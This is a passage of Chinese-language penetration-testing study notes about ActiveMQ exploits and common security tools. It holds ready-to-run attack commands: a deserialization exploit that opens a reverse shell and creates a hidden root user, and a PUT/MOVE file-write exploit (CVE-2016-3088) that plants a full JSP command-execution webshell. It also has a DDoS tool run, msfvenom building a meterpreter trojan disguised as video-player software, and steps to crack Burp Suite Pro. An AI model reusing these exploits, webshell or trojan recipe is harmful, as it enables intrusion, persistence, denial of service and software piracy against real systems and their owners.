3.此时,一个名为 event 的队列将被添加到目标 ActiveMQ 中。 你可以拜访 http://8.142.189.231:8161/admin/browse.jsp?JMSDestination=Event查看此队列中的所有消息。 登录名/密码: admin/admin ==以管理员点击此消息触发命令执行==,看到/tmp/success已经创建成功,说明exploit成功。
==注--怎样进入容器:== docker-compose exec activemq bash
4.反弹shell: java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "bash -i >& /dev/tcp/远程连接机的IP/1234 0>&1" -Yp ROME 8.142.189.231 61616
远程主机监听1234端口:nc -lvvp 1234
5.建立用户:
建立test用户: java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "useradd -g root -s /bin/bash -u 10010 test" -Yp ROME 8.142.189.231 61616
将UID修改为0,使之具有root:
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "sed -i "s/test:x:10010/test:x:0/g" /etc/passwd" -Yp ROME 8.142.189.231 61616
为test用户设置一个密码(123456)
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "echo "test:sd123456" | chpasswd" -Yp ROME 8.142.189.231 61616
1.2ActiveMQ 任意文件写入漏洞 (CVE-2016-3088)
==说明:== ActiveMQ在5.12.x~5.13.x中默认关闭了fileserver应用(可以在conf/jetty.xml中打开); 在 5.14.0 之后, 文件服务器应用程序被完全删除。 这个漏洞出现在Fileserver应用中,漏洞原理其实很简单,就是fileserver支持写文件(但不解析JSP),同时支持移动文件(MOVE请求)。 所以,我们只需要写入一个文件,然后使用移动请求将其移动到任何位置,从而导致任意文件写入漏洞.
==利用:== 1.首先,访问
http://your-ip:8161/admin/test/systemProperties.jsp查看ActiveMQ的绝对路径.默认的 ActiveMQ 帐号和密码是admin
(构造数据包) PUT /fileserver/2.txt HTTP/1.1 Host: 8.142.189.231:8161 Accept: / Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0 Connection: close Pragma: no-cache Cache-Control: no-cache
//写入的jsp内容 //说明:<%eval request ("pass")%> jsp一句话木马,暂时不用,有时间再来试试 //链接:https://www.cnblogs.com/yuzly/p/11278131.html <%@ page import="java.io.*"%> <% out.print("Hello</br>"); String strcmd=request.getParameter("cmd"); String line=null; Process p=Runtime.getRuntime().exec(strcmd); BufferedReader br=new BufferedReader(new InputStreamReader(p.getInputStream())); while((line=br.readLine())!=null){ out.print(line+"</br>"); } %>3.(构造数据包,使之移动到目标文件中 (其他目录文件应该也可以)) MOVE /fileserver/2.txt HTTP/1.1 Destination: file:///opt/activemq/webapps/api/s.jsp Host: 8.142.189.231:8161 Accept: / Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0 Connection: close Pragma: no-cache Cache-Control: no-cache
4.执行文件,该连接的连接,该执行的执行,over,我要睡觉了。
2.其他
DDOS
DDos-Attack
首先从Github克隆到本地: git clone https://github.com/Ha3MrX/DDos-Attack
进入目录: cd DDos-Attack
设置权限: chmod +x ddos-attack.py
运行并攻击: python ddos-attack.py
叁.安全工具使用
1.工具安装
VPN
burpsuite
JDK下载: jdk.java.net/java-se-ri/… ==直接使用== burpsuite下载: portswigger.net/Burp/Releas…
破解激活: github.com/h3110w0r1d-… 百度网盘下载地址: 链接:pan.baidu.com/s/18DLhp0zy… 提取码:nu011.安装JDK,配置环境变量,注意最好是系统环境变量和用户环境变量都加上 2.将所有压缩文件解压,并放在同一目录下面,在此目录下面启动cmd;输入: java -jar BurpLoaderKeygen.jar , 然后点击run 就可以用了;(==前提:== 破解激活,简单,typora中无法粘图。) 3.制作bat格式快速启动: E: cd E:\burp_suite
java -javaagent:BurpLoaderKeygen.jar -noverify -jar burpsuite_pro_v2021.9.1.jarburpsuite学习视频: www.bilibili.com/video/BV1aq…
2.工具使用
1.DNSenum
==DNS服务详细信息:== dnsenum --enum www.cqwu.edu.cn --threads[number] : 设置用户同时运行多个进程数 -r : 运行用户进行递归查询 -d : 运行用户设置 WHOIS 请求之间时间延迟数(单位为秒) -o : 运行用户指定输出位置 -w : 允许用户启用WHOIS请求
- nmap
nmap -sP 8.142.189.231 查看主机的域名,主机在线,MAC地址 nmap 8.142.189.231 扫描主机端口 nmap -p 1-1000 8.142.189.231 指定端口扫描范围 nmap -p 22 192.168.41.* 扫描特定端口 nmap -O 8.142.189.231 识别系统指纹信息 nmap -sV 8.142.189.231 识别服务信息
- wpscan
==查看版本号:== wpscan --version ==更新:== wpscan --update ==查看帮助:== wpscan -h 信息探测:wpscan --url http://8.142.189.231 列出用户名(爆破):wpscan --url http://8.142.189.231 -e u vp wpscan --url http://8.142.189.231 -e u --wordlist /root/wordlist.txt
4.Metasploit
systemctl start postgresql msfconsole
Core Commands 核心命令 Module Commands 模块命令 Job Commands 后台任务命令 Resource Script Commands 资源脚本命令 Database Backend Commands 数据库后端命令 Credentials Backend Commands 证书/凭证后端命令 Developer Commands 开发人员命令
1.核心命令 connect , 用于远程连接主机,一般用于内网渗透 connect ip 端口号 get /
命令 show 使用方法 ,后跟有效参数:all , encoders , nops , exploits, post.....
模块命令 search 搜索的使用方法 search mysql(name) search name:mysql search ms08_067 search path:mysql search platform:mysql(平台,一般等级比较高) type 命令,查找特定类型的模块(exploit,payload,) search cve-2017-8464 远程命令执行漏洞
use模块使用方法 ms08_067执行代码
如何装载一个模块 use exploit/windows/smb/ms08_067_netapi(模块名字) back 退出模块,不退出框架
info exploit/windows/smb/ms08_067_netapi 永恒之蓝 ms17-010
通过payload实现后门 Windows7:157.131 kali: 157.140
数据库后端命令: creds 列出所有的数据库内容 db_connect 连接到现有数据库 db_disconnect 断开与当前数据库的实例连接 db_export 导出数据库的内容文件 格式为:xml 和 pwdump db_import 导入扫描结果文件(文件类型自动检测)
msfvenom是mspayload,msfencode的结合体
实战,利用msfvenom生成快播和西瓜影音后门木马
msfvenom -p windows/meterpreter_reverse_tcp lhost=192.168.157.140 lport=6789 -f exe -e x86/shikate_ga_nai -o /var/www/html/cmdpro.exe
肆.优秀资源
1.学习资源类
**1.网盘(白帽子学习--课程类)pan.lvqfl.top/ **
metasploit:
链接:https://pan.baidu.com/s/15AbB3sCVqd616bkb6u06Bw 密码:vkiu
2020免费的只有4节课https://pan.baidu.com/s/1AUxhtj3Fy9EaGspwylMJyg 提取码:df49
下面这些是19年的视频和课件百度网盘链接:https://pan.baidu.com/s/1aVw-4jQR6xEIf3gouMxB6g 提取码:2550
链接: https://pan.baidu.com/s/1XmnbVLdVovNQAqVl62v_6w 密码: qb1h
2.优秀博客类
5号黯区: www.dark5.net/ 码农教程: www.manongjc.com/
3.下载专区
Dev-c++ :github.com/Embarcadero… MinGW:sourceforge.net/projects/mi… codeblocks:www.codeblocks.org/downloads/b… CodeLite:downloads.codelite.org/